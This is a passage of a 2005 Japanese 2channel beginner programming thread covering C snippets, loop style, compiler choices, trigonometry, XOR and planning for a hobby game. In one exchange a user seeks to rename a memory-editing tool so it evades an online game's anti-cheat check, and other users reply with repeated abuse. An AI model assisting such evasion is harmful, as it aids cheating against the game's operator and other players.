if (i % 2 == 0) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}
printf("a = %f\n" , a);
printf("b = %f\n" , b);
return 0;
}
これでよくね?
0696デフォルトの名無しさん
2005/11/27(日) 23:32:540697デフォルトの名無しさん
2005/11/27(日) 23:36:110699デフォルトの名無しさん
2005/11/27(日) 23:37:190700デフォルトの名無しさん
2005/11/27(日) 23:57:26うちのPC本体からビープ音が出るとは知らなかった
どっかにブザーついてんだな
0701デフォルトの名無しさん
2005/11/28(月) 00:08:10int main(){
double A=1999.0;
double B=.0;
int cnt=1;
for(;cnt<=999;cnt++){
B+=A/(cnt*2); A-=A/(cnt*2);
A+=B/(cnt*2+1); B-=B/(cnt*2+1);
}
B+=A/(1999+1);
printf("%f",B);
return 0;
}
これでいいんじゃね?
0703デフォルトの名無しさん
2005/11/28(月) 00:13:41#include <stdio.h>
int main()
{
puts(" 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。\n"
" 1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、\n"
" 3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・\n"
" この方法で、次々と水を移す。1999回目にA からB へ移したとき、\n"
" B の容器には、何リットルの水が入っていますか?");
printf("\n リットル\r");
{float a;scanf("%f",&a);}
return 0;
}
0704デフォルトの名無しさん
2005/11/28(月) 00:13:45それだとなんも実行しないのでは?
0706デフォルトの名無しさん
2005/11/28(月) 00:24:21泣いてるっぽくて
0707デフォルトの名無しさん
2005/11/28(月) 00:41:25それならこっちだな
#define _ 1
for (;_;)
0708デフォルトの名無しさん
2005/11/28(月) 03:26:20汗かいてるお
0709デフォルトの名無しさん
2005/11/28(月) 04:38:040710デフォルトの名無しさん
2005/11/28(月) 06:15:11/ ─ / / \ ○ | / | |  ̄ ̄/ ──
__/ _/ / \ | / レ ─┴─ _/
/\___/ヽ
/'''''' '''''':::::::\
. |(〇), 、(〇)、.:|
| ,,ノ(、_, )ヽ、,, .::::|
. | `,rェェェ、 ' .:::::::|
\ |,r-r-| .::::/
,,.....イ.ヽヽ、`ニニ´ーノ゙-、.
: | '; \_____ ノ.| ヽ i
| \/゙(__)\,| i |
> ヽ. ハ | ||
0711デフォルトの名無しさん
2005/11/28(月) 10:25:30どうでもよさそうな質問なんですけど、よろしくお願いします。
if(i=1;i<=10;i++)
if(i=1;i<11;i++)
この二つだと一般的にはどちらが多いのでしょうか?
俺は前者の方がわかりやすそうで好きなんですけど。
0712デフォルトの名無しさん
2005/11/28(月) 10:30:25よく見るのは後者みたいなのかなw
0713デフォルトの名無しさん
2005/11/28(月) 10:31:160714デフォルトの名無しさん
2005/11/28(月) 10:32:37いや、これはただの1〜10まで表示するって奴なんですけどね。
上のほうが10って数字が出るからわかりやすいと思ったけど
一般的なスタイルは下なんですね。
これからは下のスタイルで慣れていこうと思います。
ありがとうござんした。
0715デフォルトの名無しさん
2005/11/28(月) 10:33:25つ【http://nadesi.com/】
0716デフォルトの名無しさん
2005/11/28(月) 10:33:29俺は
for(i=0; i<10; i++)
for(i=1; i<=10; i++)
って書くかな
10回ループすることが分かりやすい
0717デフォルトの名無しさん
2005/11/28(月) 10:36:08うはwww素で間違えたwwwwすいませんorz
こんなに赤面したのは久しぶりだ。
0718デフォルトの名無しさん
2005/11/28(月) 10:48:24HSPってVIPPERじゃ無理?
0719デフォルトの名無しさん
2005/11/28(月) 10:49:29をよく見かけるのは配列の配置がそうなってるからじゃね
int array[10]って宣言して回す時とかね
0720デフォルトの名無しさん
2005/11/28(月) 10:50:27その場合は前者の方がいいよ。
0から始めるループなら "<" が主流だけど。
0721デフォルトの名無しさん
2005/11/28(月) 10:53:20そうですか。
じゃあ0の時は後者、それ以外は前者でとりあえずやってみる事にします。
ありがとうございました。
0722711
2005/11/28(月) 15:12:350723デフォルトの名無しさん
2005/11/28(月) 15:22:491〜10まで表示という仕様なら前者にすべき
仕様でソースを表現するとはそういうこと
最適化は後回し
0724デフォルトの名無しさん
2005/11/28(月) 15:24:070725デフォルトの名無しさん
2005/11/28(月) 15:26:16コメントをあてにしちゃダメだ
0726デフォルトの名無しさん
2005/11/28(月) 15:24:00(\ ∧_∧ /
(ヾ < `∀´>/ このレスに出会ったあなたは超ラッキーニダ。
''//( つ つ 近々骨折することになるニダ。
(/(/___|″
し′し′
0727デフォルトの名無しさん
2005/11/28(月) 15:28:400728デフォルトの名無しさん
2005/11/28(月) 16:22:14できるよ
0729デフォルトの名無しさん
2005/11/28(月) 16:22:38HSPはメモリ管理がグダグダだからオヌヌメできん
Javaでオブジェクト指向学んでC++行くのもよし
C学んでC++行くのもよし
0730みずき ◆WnmizUKIg6
NGNG0731デフォルトの名無しさん
2005/11/28(月) 16:41:34これに参加する話どうなった?
0732デフォルトの名無しさん
2005/11/28(月) 16:42:010733みずき ◆WnmizUKIg6
NGNG真っ黒画面に文字だけでも参加しようか
0734デフォルトの名無しさん
2005/11/28(月) 16:44:420735みずき ◆WnmizUKIg6
NGNGtyowwwomawwwwwwwwww
0736デフォルトの名無しさん
2005/11/28(月) 16:52:210737デフォルトの名無しさん
2005/11/28(月) 17:36:50uiui
0738みずき ◆WnmizUKIg6
NGNG28 名前:名前は開発中のものです。[sage] 投稿日:2005/11/28(月) 17:40:57 ID:3EViY0P3
俺漏れも今週から参加すっからな!
haro-worldくらいからお題頼むぜ
頑張れ、超頑張れ
0739デフォルトの名無しさん
2005/11/28(月) 17:45:48どっかからDLできる場所ないのか?
0740デフォルトの名無しさん
2005/11/28(月) 17:46:09http://ex14.2ch.net/test/read.cgi/news4vip/1133165707/
0741デフォルトの名無しさん
2005/11/28(月) 17:48:400742デフォルトの名無しさん
2005/11/28(月) 17:50:17◆C/C++/C#
http://www2.wbs.ne.jp/~dskoba/database/prog.htm
・Borland C++ Compiler 5.5
http://homepage3.nifty.com/mmgames/c_guide/p_bcc.html
・Visual C++ Toolkit 2003
http://homepage1.nifty.com/kazubon/progdoc/poor/vctoolkit.html
・Visual Studio 2005 Express Edition Beta 2 日本語版
http://www.microsoft.com/japan/msdn/vstudio/2005/express/default.aspx
・C#Builder 1.0 Personal
http://www.borland.co.jp/csharpbuilder/csharp10/download/index.html
◆Delphi
・Delphi 6 Personal
http://www.borland.co.jp/delphi/personal/
◆Java
・Eclipse
http://www.eclipsewiki.net/eclipse/index.php?%5B%5B%A5%A4%A5%F3%A5%B9%A5%C8%A1%BC%A5%EB%5D%5D
◆なでしこ
・なでしこ
http://nadesi.com/
0743デフォルトの名無しさん
2005/11/28(月) 17:50:42Visual C++ Toolkit 2003
LSI C-86 体験版
Borland C++ BuilderX Personal
どれがいいんだ?
0744デフォルトの名無しさん
2005/11/28(月) 17:51:27さんくすw
0745デフォルトの名無しさん
2005/11/28(月) 17:54:190746デフォルトの名無しさん
2005/11/28(月) 17:57:54cである程度のGUIのツール(例でいうと簡単なブロック崩しとか)が作れるようになるのは
どれくらい必要ですかね?
一日一時間程度の勉強時間で考えてください。
0747デフォルトの名無しさん
2005/11/28(月) 18:01:252ヶ月でどうよ
Cを覚えるのに3週間、WinAPIを最低限理解するのに1ヶ月ちょっと
0748デフォルトの名無しさん
2005/11/28(月) 18:02:47じゃあそれを目標に頑張ってみる事にします。
近くの本屋でよさそうな本を買いにいってきます。
0749デフォルトの名無しさん
2005/11/28(月) 18:08:33前やったことってすぐ忘れるし。
0750デフォルトの名無しさん
2005/11/28(月) 18:09:59横レスだけど本はちゃんと選んだほうがいいよ。一冊高いしね。
C … プログラム「言語」としての本質でありGUIのものを作るのには足りない
C++ … Cを拡張した「言語」
Visual C++ … C++を用いたWindowsプログラミングができる
(GUIで何か作ってみたいならこっち、とにかく言語の予備知識をつけたいなら上)
ブロック崩しとか、ゲームが作れそうといって「Direct X」って書いた本選ぶと痛い目にあうよ
初歩なら「DirectX」「MFC」って言葉の書いてないVisual C++の本を買うと
目標としてる(?)GUIでブロック崩しに近づくと思う
基本的なことは
http://www.kumei.ne.jp/c_lang/ ここ見るのがいいよ。
長文すまん、最初参考にするものやら本で損したので書きたかったんだ
0751デフォルトの名無しさん
2005/11/28(月) 18:10:500752みずき ◆WnmizUKIg6
NGNGhttp://www.amazon.co.jp/exec/obidos/ASIN/4797325453/250-8082113-9600214
これオススメ、C + Win32API参考書
テトリスとブロック崩し付き
0753デフォルトの名無しさん
2005/11/28(月) 18:20:400754デフォルトの名無しさん
2005/11/28(月) 18:20:470755みずき ◆WnmizUKIg6
NGNGあぁ、おすすめの本は?かと思った
"日本語"勉強してくるわ
0756デフォルトの名無しさん
2005/11/28(月) 18:23:34誤爆しましたyyyyyyyyyyyyyyyyyyyyyyyyy
0757デフォルトの名無しさん
2005/11/28(月) 18:24:030758デフォルトの名無しさん
2005/11/28(月) 18:24:39Winアプリ作るのならSDKから入るべし
いきなりMFCとか無駄ス
はじめてのCとかはじめてのC++とか個人的には好き
基礎固めが大事だからC・C++言語の本は必ずいる
ただ、SDK使ったプログラミングとかになるとWebでも結構サンプルとか出てるから
それ見ながら作るのもよし、Windowsプログラミングと書いているのを買うのもよし
0759デフォルトの名無しさん
2005/11/28(月) 18:24:55D言語とC#とJ#、どれが良いですか?
0760デフォルトの名無しさん
2005/11/28(月) 18:25:43D言語が断然おすすめニダ
0761デフォルトの名無しさん
2005/11/28(月) 18:26:120762デフォルトの名無しさん
2005/11/28(月) 18:26:17VBとかDelphiみたいに視覚的にボタンとか配置できるのはどっち?
0763みずき ◆WnmizUKIg6
NGNGhttp://www.vipper.org/vip148630.jpg
まだまだだね
0764デフォルトの名無しさん
2005/11/28(月) 18:27:02.NET Frameworkが必須なのはやめとき
趣味ならそれらの言語でかまわんと思うが
実践で使うならJava/C++/Cのどれかにすること
0765デフォルトの名無しさん
2005/11/28(月) 18:28:07SDKは基本的にCで書く
MFCはMSが提供してるクラスライブラリみたいなもんで言語はC++
SDKの仕組みを理解してからでないとMFCはとっつきにくい
0766デフォルトの名無しさん
2005/11/28(月) 18:28:430767デフォルトの名無しさん
2005/11/28(月) 18:29:22誰も張り合ってはないと思うけど、
javaって人気あるんだねぇ。
0768デフォルトの名無しさん
2005/11/28(月) 18:29:23VC++を開発環境として使うのであれば新規作成の画面で
MFCアプリケーションとWin32アプリケーションと分かれてる。
0769デフォルトの名無しさん
2005/11/28(月) 18:31:28分かりました。
D言語で行こうと思います。
0770デフォルトの名無しさん
2005/11/28(月) 18:33:03>Borland C++ Compiler
>Visual C++ Toolkit 2003
>LSI C-86 体験版
>Borland C++ BuilderX Personal
>どれがいいんだ?
使ってる Windows が XP 以降なら VC++TK2003 一択。
そうでないならボーランドの方で。
0771デフォルトの名無しさん
2005/11/28(月) 18:33:120772デフォルトの名無しさん
2005/11/28(月) 18:33:39Xcode
0773デフォルトの名無しさん
2005/11/28(月) 18:35:38Basic
C#
Delphi
この順番で学習していくのが効率がいいですよ。
そしてこれらを学んだらさっさと Ruby に移行しましょう。
0774デフォルトの名無しさん
2005/11/28(月) 18:36:210775デフォルトの名無しさん
2005/11/28(月) 18:36:58ゴテンクスww
0776デフォルトの名無しさん
2005/11/28(月) 18:37:18ちょwwwwwおまwwwww
まあ、アセンブリはリンカーとかの関連で覚えるといいけどさ
0777デフォルトの名無しさん
2005/11/28(月) 18:52:040778デフォルトの名無しさん
2005/11/28(月) 18:54:590779デフォルトの名無しさん
2005/11/28(月) 18:58:27それと細かいことだが、アセンブリ言語をオブジェクトコードにするのが
アセンブラであって、コンパイラなんてものは存在しない
高級言語をオブジェクトコードへ変えるのがコンパイラ
0780デフォルトの名無しさん
2005/11/28(月) 19:33:11全部使った事ないがJ#は駄目だ。
開発効率を重視するならC#、性能を重視するならD言語でおk
0781デフォルトの名無しさん
2005/11/28(月) 19:34:05アセンブリ (言語名称)
アセンブル (翻訳する行為)
コンパイラ (翻訳プログラム)
コンパイリ (×)
コンパイル (翻訳する行為)
0782デフォルトの名無しさん
2005/11/28(月) 19:35:33SDK=Cって適当すぎるだろ
っつうか理解できてないだろ
0783デフォルトの名無しさん
2005/11/28(月) 19:40:010784デフォルトの名無しさん
2005/11/28(月) 19:42:000785デフォルトの名無しさん
2005/11/28(月) 19:48:210786デフォルトの名無しさん
2005/11/28(月) 19:50:57. はい
[>いいえ
0787デフォルトの名無しさん
2005/11/28(月) 19:51:230788デフォルトの名無しさん
2005/11/28(月) 19:52:420789デフォルトの名無しさん
2005/11/28(月) 20:13:46> double vx = v * cos(d); /* 水平方向の速度 */
> double vy = v * sin(d); /* 鉛直方向の速度 */
この二つはラジアン角?を入れるのでしょうか・・
double vx = v * cos(d*3.14189/180); /* 水平方向の速度 */
こんな感じで。
いちおうどっちでも放物線ぽい動きをしてくれそうなのですが。
ググってもアフォなので、じぇんじぇんわからないよ・・。
どなたかよろ (T_T)
0790デフォルトの名無しさん
2005/11/28(月) 20:13:59自分の書いたソースにはコメントいれて
あとで再利用できるようにしときなよ
ぜんぶ頭に入れることはない
0791デフォルトの名無しさん
2005/11/28(月) 20:15:390792デフォルトの名無しさん
2005/11/28(月) 20:16:53君にはコンパイラという頼もしい味方がいるではないか。
0793デフォルトの名無しさん
2005/11/28(月) 20:17:00koders.com使えよ
0794デフォルトの名無しさん
2005/11/28(月) 20:17:16Eclipse + VisualEditor (これセット内容で本も出てる)とか
JBuilder
NetBeans
0795みずき ◆WnmizUKIg6
NGNG押入れから出てきた、十進BASIC 頑張って解析してちょ
http://www.vipper.org/vip148689.txt
0798デフォルトの名無しさん
2005/11/28(月) 20:46:39プログラムってツンデレだな
0799デフォルトの名無しさん
2005/11/28(月) 20:47:51どもです。もうちょっとがむばってみまっす (`・ω・´)
0800デフォルトの名無しさん
2005/11/28(月) 21:02:26ラジアン角以外入れるとダメっぽいです。
テストで角度直入れしても普通に動いたんですが、
そのとき入れた値がたまたま普通に動く値だったみたいです orz
0801デフォルトの名無しさん
2005/11/28(月) 21:06:50普通、三角関数は全てラジアンを引数に取る
manみれば載ってるわけでわざわざ試すほどのことでも無いと思うが
0802デフォルトの名無しさん
2005/11/28(月) 21:18:460803デフォルトの名無しさん
2005/11/28(月) 21:19:38ttp://www.vipper.org/vip148707.png
でもいまいちコントロールしにくい。
>>801
man??
0804デフォルトの名無しさん
2005/11/28(月) 21:19:38printf()を作る。
意外と面白いよ。
0805みずき ◆WnmizUKIg6
NGNG自分の名前を入力したら
***お兄ちゃん、おかえり と出力するプログラム
scanfを使用
0806デフォルトの名無しさん
2005/11/28(月) 21:20:343種類作れたら合格
0807デフォルトの名無しさん
2005/11/28(月) 21:20:35猫でも〜に怒られないかな?
0808デフォルトの名無しさん
2005/11/28(月) 21:21:13超期待
0809デフォルトの名無しさん
2005/11/28(月) 21:23:40怒られないと思う
期待age
0810デフォルトの名無しさん
2005/11/28(月) 21:24:040811デフォルトの名無しさん
2005/11/28(月) 21:24:320812デフォルトの名無しさん
2005/11/28(月) 21:27:47できることがあったら協力するお( ^ω^)
0813デフォルトの名無しさん
2005/11/28(月) 21:33:14puts("hello,world");
putchar('h');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar(',');
putchar('w');
putchar('o');
putchar('r');
putchar('l');
putchar('d');
AfxMessageBox("hello,world");
0814デフォルトの名無しさん
2005/11/28(月) 21:35:24ttp://www.linux.or.jp/JM/index.html
ちなみにsinはこれ ttp://www.linux.or.jp/JM/html/LDP_man-pages/man3/sin.3.html
そういやmanってmanualの略であってる?
0816デフォルトの名無しさん
2005/11/28(月) 21:38:59これはダメかな?
0817デフォルトの名無しさん
2005/11/28(月) 21:39:30putcって手もあるな
普通のMessageBox関数でもいけるし
0818デフォルトの名無しさん
2005/11/28(月) 21:45:24なるほど。IT用語辞典とかで調べても出てこないわけだw
MSDNの一つには↓みたいに書いてありました。
public static native double sin( double a )
パラメータ
a
ラジアンで表した角度。
戻り値
引数のサイン。
ありがとん!
0819デフォルトの名無しさん
2005/11/28(月) 21:50:57それはおそらくCのsin関数ではない。気をつけろ。
0820デフォルトの名無しさん
2005/11/28(月) 21:51:59情けない。
0821デフォルトの名無しさん
2005/11/28(月) 21:54:58なんか候補が4つぐらい出てきたので、
ラジアンて書いてあるのをコピペしました ;^_^)
0822デフォルトの名無しさん
2005/11/28(月) 21:55:280823デフォルトの名無しさん
2005/11/28(月) 22:08:25宜しければ誘導を。。
0824デフォルトの名無しさん
2005/11/28(月) 22:09:42こっちこい。
http://msdn.microsoft.com/library/ja/vclib/html/_crt_sin.2c_.sinh.asp
0825デフォルトの名無しさん
2005/11/28(月) 22:10:23とりえあず、投下してみれば?
0826デフォルトの名無しさん
2005/11/28(月) 22:13:470827デフォルトの名無しさん
2005/11/28(月) 22:19:53じゃあスレ汚しすみません、てことでここで、、
MapleStoryと言うオンラインゲームのチートをするために、うさみみハリケーンと言う
アプリケーションのプロセスメモリを書き換えるものを実行したいのですが、
Mapleを実行したままうさみみを実行するとMapleのほうが「このプロセスをMapleを同時実行できません」
とエラーを出します、競合というヤツらしいです。
バイナリで名前(恐らくプロセス名かと)を書き換えれば無問題らしいですが
うさみみをバイナリエディタで開いたデータの中から、Usamimiの文字列を探し出せばいいような気がするのですが
で、データの中から一定の文字列を探し出すにはどうすればいいのでしょうか、
という質問です。
0828デフォルトの名無しさん
2005/11/28(月) 22:25:030829デフォルトの名無しさん
2005/11/28(月) 22:25:13( ゚д゚)
0830デフォルトの名無しさん
2005/11/28(月) 22:25:21( ゚д゚)
0831デフォルトの名無しさん
2005/11/28(月) 22:27:40なんかあれな質問な上に質問の中に答えがあるんだけど・・・
BZとかStirlingとかのバイナリエディタで開けば普通に検索できる
これ以上はプログラムというか、ソフトの使い方なんで、そっちへどぞ。
0832デフォルトの名無しさん
2005/11/28(月) 22:29:18はい、すみませんが、こういう系です。
余計な事を書かないで「文字列を検索する方法を...」と書けば良かったかなぁ、と思いました。。
本当にすれ汚しすみません、と言う事で消えます。もし知ってる方居ましたら
“こういう系”のわかり易い説明を載せている所でも教えて頂きたいです。
0833デフォルトの名無しさん
2005/11/28(月) 22:30:33氏ね
0834デフォルトの名無しさん
2005/11/28(月) 22:30:36消えろカス
0835デフォルトの名無しさん
2005/11/28(月) 22:30:51いい奴乙
0836デフォルトの名無しさん
2005/11/28(月) 22:31:100837デフォルトの名無しさん
2005/11/28(月) 22:31:190838デフォルトの名無しさん
2005/11/28(月) 22:31:41死ね死ね死ね
0839807
2005/11/28(月) 22:32:000840デフォルトの名無しさん
2005/11/28(月) 22:32:51テラハヤスwwwwwwwwwwwww
0841みずき ◆WnmizUKIg6
NGNG感動した
0842デフォルトの名無しさん
2005/11/28(月) 22:35:05秋葉いけば何でも売ってるだろ
0843デフォルトの名無しさん
2005/11/28(月) 22:35:51まぁ、プログラミングなんて人によってかなり飲み込み違うしな
とりあえずはQ&A集から始めたらいいんじゃまいか?
0844デフォルトの名無しさん
2005/11/28(月) 22:37:23マジですか?Stirlingでうさみみを開いて
検索・移動(S)→検索→文字列検索、でusamimi、やってみましたが見つかりません、、
アスキー領域にusamimi、の文字列があるのですか?
もしくは、16進数ダンプ領域に、16進数に変換されたうさみみ、の文字列があるんですか?
>>833
すれ汚しすみませんです、それを、使っております。
ソフト板にStirlingのスレがなかったので
バイナリエディタについて、のスレで、この板に誘導されたのでこちらで質問させてもらいました。。
0845デフォルトの名無しさん
2005/11/28(月) 22:40:10死ね
死ね
死ね
死ね
死ね
死ね
0846上様 ◆V9ZN5iAEdc
2005/11/28(月) 22:41:28あぼん推奨なのでコテ付けときます。今更ですが。。
0847デフォルトの名無しさん
2005/11/28(月) 22:41:40890 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 21:55:31 ID:JSIlBm610
バイナリデータに関しての質問がしたいのですがここじゃダメですよね?
891 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:01:05 ID:EkiYKZnd0
ム板かマ板いけ
892 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:07:34 ID:JSIlBm610
ムの方でいいんですかね。どうもありがとう
VIPスレに来るな死ね
0848デフォルトの名無しさん
2005/11/28(月) 22:43:51死ねよカス
0849デフォルトの名無しさん
2005/11/28(月) 22:45:03そこでム板とマ板に誘導した奴氏ね
ネトゲサロン辺りで引き取れよ
0850デフォルトの名無しさん
2005/11/28(月) 22:45:41http://pc7.2ch.net/test/read.cgi/software/997199775/891
誘導したカス発見
0851デフォルトの名無しさん
2005/11/28(月) 22:46:130852デフォルトの名無しさん
2005/11/28(月) 22:48:370853ねこみみメイド
2005/11/28(月) 22:54:530854デフォルトの名無しさん
2005/11/28(月) 22:56:420855デフォルトの名無しさん
2005/11/28(月) 22:57:06http://live19.2ch.net/mmoqa/
ネトゲ質問板池
0857みずき ◆WnmizUKIg6
NGNGうふふ
0858デフォルトの名無しさん
2005/11/28(月) 23:00:37なんだよ、お前は
0859デフォルトの名無しさん
2005/11/28(月) 23:02:070860デフォルトの名無しさん
2005/11/28(月) 23:02:500861デフォルトの名無しさん
2005/11/28(月) 23:05:010862デフォルトの名無しさん
2005/11/28(月) 23:20:14うはwwwテラマンドクサスwwwwww
0863デフォルトの名無しさん
2005/11/28(月) 23:25:320864デフォルトの名無しさん
2005/11/28(月) 23:28:28_ o
|| ._)
..乙|
0865デフォルトの名無しさん
2005/11/28(月) 23:39:39_ o っ
||(__
..乙|
0866デフォルトの名無しさん
2005/11/28(月) 23:41:480867デフォルトの名無しさん
2005/11/28(月) 23:50:28>>359が参考になるんじゃね?
0868デフォルトの名無しさん
2005/11/29(火) 16:05:47#include <iostream>
int main()
{
int a=0, b=0, c=0;
try
{
a=b/c;
}
catch( ...)
{
printf("zero divide\n");
}
return 0;
}
0869デフォルトの名無しさん
2005/11/29(火) 16:15:58「誰か爆裂カブトムシってゲーム作って〜」って依頼してたひと、
まだこのスレ見てます?
たぶん↓の絵を上げてくれた人だと思うのですが・・
http://www.vipper.org/vip149071.jpg
今ちょっと作り始めたんですが、
私そのゲームやったこと無いので二三質問が。
いますか〜。。
0870デフォルトの名無しさん
2005/11/29(火) 16:17:39ああ、俺やったことあるよそれ。何かのミニゲームだったような記憶がある。
0871デフォルトの名無しさん
2005/11/29(火) 16:19:14スーパーマリオRPGだった
0872デフォルトの名無しさん
2005/11/29(火) 16:19:52とりあえず、カブトムシが自機で甲羅が敵。
★が甲羅壊したときにでる弾?でいいんですかね。
0873デフォルトの名無しさん
2005/11/29(火) 16:21:47>>871のサイトに基本的なことは書いてますね。
0874デフォルトの名無しさん
2005/11/29(火) 17:05:0116bitじゃないと無理だったような……
0875デフォルトの名無しさん
2005/11/29(火) 17:15:42,.、 ,.、 ヽ'::':/
ヽ'::':/ }:::{
}:::{ l:::|
ハァハァ l:::| :yァ|:::l
i:yァ|:::l l:(.ノ:::l ちょwwwwおまwww
l:(.ノ:::l ,.r:::'':::!:::ヽ゚;~ __,俺wwwオスwwww
,.r:::'':::!:::ヽ゚;~ 〈;;;:::::::::::::::゙:i,,__,〃 ` ヤメレwwwwおちけつwww
.〈;;;:::::::::::::::゙:i,,__,〃'''::::-:::〈ー‐"
/~:::y'''::::-:::〈ー‐":::::::::::::〈:、
/::::::/:::::::::::::〈:、::::/:::::::::::::/ ヾ!
/:::::/:::::::::::::/ ヾ!:/:::::::::::::〈:、 l:!
,:'!::::/:::::::::::::〈:、 l:!〈_:::;;;:::ノ .l:l ヽ、
. 〃ゝ〈_:::;;;:::ノ .l:l ヽ、 l:!
_〃 l:!
0876Baku(仮) ◆ryjMYLsfPA
2005/11/29(火) 18:33:28今できてるとこまでうpります。
感じとしては、こんなんでしょうか?
やったことある人、どうか意見よろ m(__)m
色んな意味で目に悪いっぽいんですが・・
ttp://www.vipper.org/vip149111.zip
http://www.vipper.org/vip149112.png
絵はたぶんあとで入れます。たぶんw
0877Baku(仮)
2005/11/29(火) 18:35:08なので、バランスはめちゃくちゃになるかと
0878みずき ◆WnmizUKIg6
NGNG全米が完成を待ち望んでる
0879デフォルトの名無しさん
2005/11/29(火) 18:39:03どもです。ここからが難しそうなので、果たしてどうなるかなぁ。
今週中に終わらないと辞めるかもです。
0880デフォルトの名無しさん
2005/11/29(火) 19:06:420881デフォルトの名無しさん
2005/11/29(火) 20:44:32ヒント:ダブルバッファリング
ちなみにカブトムシゲームはブロック崩しで例えると
”動くブロックかな”もちろん上下左右のどこかにあたると跳ねる
あとは時間が経過するとともに速度が加速するのと
1個潰れると星が出てその星が別の甲羅に当たるとその甲羅も潰れてほかの甲羅をつぶせる
分かりやすく言うと核分裂反応と一緒で、中性子が核に当たってその核から(ry
0882デフォルトの名無しさん
2005/11/29(火) 22:25:14核分裂反応を例に出してる時点ですごくよくわかりませn
0883デフォルトの名無しさん
2005/11/29(火) 22:41:01簡単に言うと「誘爆」システム
連続で誘爆させればさせるほど点数が倍化する
あと、ただの落ちものじゃなく甲羅は画面の端で反射して、徐々に跳ねなくなって最後は爆発する
物理の知識が要るかな
0884デフォルトの名無しさん
2005/11/29(火) 22:42:17なるほど。わかったような気になる。
まったく関係ない話なのだがXOR演算というのについて詳しく
教えていただけないでしょうか。排他的論理和演算とか言うらしい
0885デフォルトの名無しさん
2005/11/29(火) 22:59:520 0 0
1 0 1
0 1 1
1 1 0
0886デフォルトの名無しさん
2005/11/29(火) 23:00:230887デフォルトの名無しさん
2005/11/29(火) 23:00:23電卓起動→表示→関数電卓→2進
でチンコいじるとなんとなく分かるよ
0888デフォルトの名無しさん
2005/11/29(火) 23:03:06885に書いてある通りで2つが違えば真、同じなら偽と俺は覚えた。
ちなみに排他的論理和のほかに論理差と言う言葉も見かけたことがある。
0889デフォルトの名無しさん
2005/11/29(火) 23:03:07ABが同じだと0になるってこと?
>>887
いじってくる
0890デフォルトの名無しさん
2005/11/29(火) 23:05:01なるほど。わかったけど何の役に立つのだろうか・・・。
0891デフォルトの名無しさん
2005/11/29(火) 23:05:23どちらか一方が真で真になる。
0892みずき ◆WnmizUKIg6
NGNG色扱うときにも必要になるかもしれんのよ
0893デフォルトの名無しさん
2005/11/29(火) 23:06:370894デフォルトの名無しさん
2005/11/29(火) 23:08:5301101011(2) の右半分(例えば)のビットを反転させたい時とか・・・
01101011(2) XOR 00001111(2)
0895デフォルトの名無しさん
2005/11/29(火) 23:16:19把握した
>>892
へぇ
>>893
詳しくw
>>894
なるほど。
0896デフォルトの名無しさん
2005/11/29(火) 23:24:150897デフォルトの名無しさん
2005/11/29(火) 23:34:450898デフォルトの名無しさん
2005/11/29(火) 23:40:450899みずき ◆WnmizUKIg6
NGNG0900デフォルトの名無しさん
2005/11/29(火) 23:54:00おまえ、ブログまで始めたのか
0901デフォルトの名無しさん
2005/11/29(火) 23:54:080902デフォルトの名無しさん
2005/11/30(水) 00:08:570903みずき ◆WnmizUKIg6
NGNG自分色のブラウザ頑張って作ってくださいね
0904デフォルトの名無しさん
2005/11/30(水) 00:13:32性別おしえろ
0905みずき ◆WnmizUKIg6
NGNG0906デフォルトの名無しさん
2005/11/30(水) 00:15:580907デフォルトの名無しさん
2005/11/30(水) 00:16:000908デフォルトの名無しさん
2005/11/30(水) 00:19:00そうなんだ、女だったらまだNGはしなかったが
0909じぇりー ◆iU3JdxzRl6
2005/11/30(水) 00:27:060910デフォルトの名無しさん
2005/11/30(水) 00:32:530911みずき ◆WnmizUKIg6
NGNGおまえら土日までに一本ゲーム作るスレ4
http://pc8.2ch.net/test/read.cgi/gamedev/1133008523/64-
0912デフォルトの名無しさん
2005/11/30(水) 01:16:57結構いろんなデータメンバを持ってるクラスXのインスタンスを100,00,00個くらい作りたいんだけど
それは生成するときはnew使ってるのです
でもスタックオーバーフローって出るのはそれぞれのインスタンスのデータメンバが溢れてるせいなのだろうか('A`)
0913デフォルトの名無しさん
2005/11/30(水) 01:30:250914デフォルトの名無しさん
2005/11/30(水) 01:38:100915Baku(仮) ◆ryjMYLsfPA
2005/11/30(水) 02:14:31な、なんか私、激しく勘違いしてた気が ;´д`)
カブトムシは画面下固定だと思ってたんですが、
自由に動けるんでしょか?
甲羅は上から下に落ちてくるだけだと思ってたんですが、
斜めにも動く??しかも画面端で反射??
出現甲羅の出現は基本的には上から降ってくる感じでいいんでしょか。
あとカブトムシの攻撃法がよくわからないのですが、
もしや>>876みたく弾撃つんじゃないとか?
>>871のサイトにも自爆して★を出すとかなんとか書いてあるし。
ググるとこちらのサイト様の→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html
EveryExtendってゲームにちょっと似てるとか。
なんでも今度PSPに移植される凄いゲームらしいのですが。。
ダブルバッファリングはそろそろ必要っぽいですね ^^
>物理の知識が要るかな
('A`) マジデ・・
0916デフォルトの名無しさん
2005/11/30(水) 02:21:27これはいい具合のコテですね
0917デフォルトの名無しさん
2005/11/30(水) 02:22:510918デフォルトの名無しさん
2005/11/30(水) 02:23:480920デフォルトの名無しさん
2005/11/30(水) 02:43:27物理って言っても重力加速度や跳ね返り程度だぞ
0921デフォルトの名無しさん
2005/11/30(水) 02:47:33ああ、このゲームを弾撃てるようにして甲羅が跳ね返るようにすればほぼそのとおりだよ
っつうかまさかパクリじゃ(ry
0922Baku(仮)
2005/11/30(水) 02:58:47それのみならならなんとか。
>>921
弾は撃てていいんですか。
背景マップに判定は無くていいんですよね。
あと、>>915のEveryExtendだと横から敵が出てきてるんですが、
カブトムシの場合も主に横から出るんでしょか?
0923デフォルトの名無しさん
2005/11/30(水) 03:02:00上から斜めに降ってくる
ボールを落とす感じ
0924デフォルトの名無しさん
2005/11/30(水) 03:10:23ま、そんなもんさ
0925デフォルトの名無しさん
2005/11/30(水) 03:10:31だいぶ固まってきたかも。
あと一個だけ!
敵倒したとき出る星の数と、
挙動はどんな感じでしょうか?
>>>>876のだとほぼ下方向に落ちていく感じなのですが、
